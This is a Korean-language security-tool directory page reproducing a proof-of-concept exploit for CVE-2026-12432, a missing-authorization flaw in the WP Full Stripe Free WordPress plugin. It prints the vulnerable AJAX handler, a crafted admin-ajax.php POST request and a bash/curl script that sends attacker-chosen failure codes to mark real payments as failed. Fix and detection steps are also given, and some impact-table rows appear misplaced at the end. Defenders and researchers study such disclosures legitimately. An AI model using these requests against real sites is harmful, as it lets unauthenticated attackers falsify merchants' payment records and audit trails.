Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - 권한 누락

개요

  • CVE ID: CVE-2026-12432
  • CVSS 점수: 5.3 (중간)
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • 영향을 받는 버전: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • 패치 버전: >= 8.4.4
  • 게시일: 2026년 6월 26일
  • 최종 업데이트: 2026년 6월 27일
  • 연구자: Netwurm - VTDR e.V.i.G.

취약점 설명

WordPress용 WP Full Stripe Free 플러그인은 wpfs_update_failed_payment_status AJAX 액션을 통해 8.4.3 이하 버전에서 권한 누락 취약점에 노출됩니다.

근본 원인

취약한 AJAX 엔드포인트는 wp_ajax_ 및 wp_ajax_nopriv_ 훅을 통해 등록됩니다:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

update_failed_payment_status() 함수(Line 3835-3865)는 다음을 수행합니다:

  • ❌ 권한 확인 없음 (current_user_can() 없음)
  • ❌ Nonce 검증 없음 (wp_verify_nonce() 없음)
  • ❌ 로그인 확인 없음 (is_user_logged_in() 없음)

취약한 코드

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

공격 벡터

사전 조건

  • Payment Intent ID를 알고 있어야 함 (일반 Stripe 체크아웃 중 브라우저에 노출됨)
  • 인증 불필요

공격 단계

  1. 대상 식별: WP Full Stripe Free <= 8.4.3이 설치된 WordPress 사이트를 찾습니다.
  2. Payment Intent ID 획득: Stripe.js 체크아웃 흐름 또는 이전 거래에서 추출합니다.
  3. 악성 요청 전송: 공격자가 제어하는 매개변수로 admin-ajax.php에 POST 요청을 구성합니다.

HTTP 요청

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

영향 평가

영향 영역심각도설명
무결성중간공격자가 성공적인 결제를 실패로 표시할 수 있음
기밀성없음

구체적인 영향

  1. 결제 기록 조작: 공격자가 결제 상태를 "paid"에서 "failed"로 변경할 수 있음
  2. 거짓 실패 코드: 공격자가 임의의 실패 코드/메시지를 주입할 수 있음
  3. 사회공학: 고객을 속이거나 정당한 결제를 분쟁 처리하는 데 사용될 수 있음
  4. 감사 추적 변조: 비즈니스 기록이 위조될 수 있음

개념 증명 (curl)

기본 탐지

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

전체 PoC 스크립트

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

해결 방안

즉시 수정

wpfs-customer.php 라인 3835에 인증 확인을 추가하세요:

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

권장 수정 (벤더 제공)

WP Full Stripe Free >= 8.4.4로 업데이트하세요.

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

탐지

수동 확인

  1. WordPress 관리자에서 플러그인 버전을 확인합니다.
  2. wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php 파일을 검토합니다.
  3. AJAX 핸들러 앞에 current_user_can()이 누락되었는지 확인합니다.

자동 탐지

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

참고 자료

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram 채널 #1
  • W.P.E.F Telegram 채널 #2 --

타임라인

  • 2026년 6월 26일: 취약점 공개
  • 2026년 6월 27일: CVE-2026-12432 게시
  • 패치: >= 8.4.4로 업데이트
도구 다운로드
데이터 노출 없음
가용성낮음비즈니스 운영을 방해할 수 있음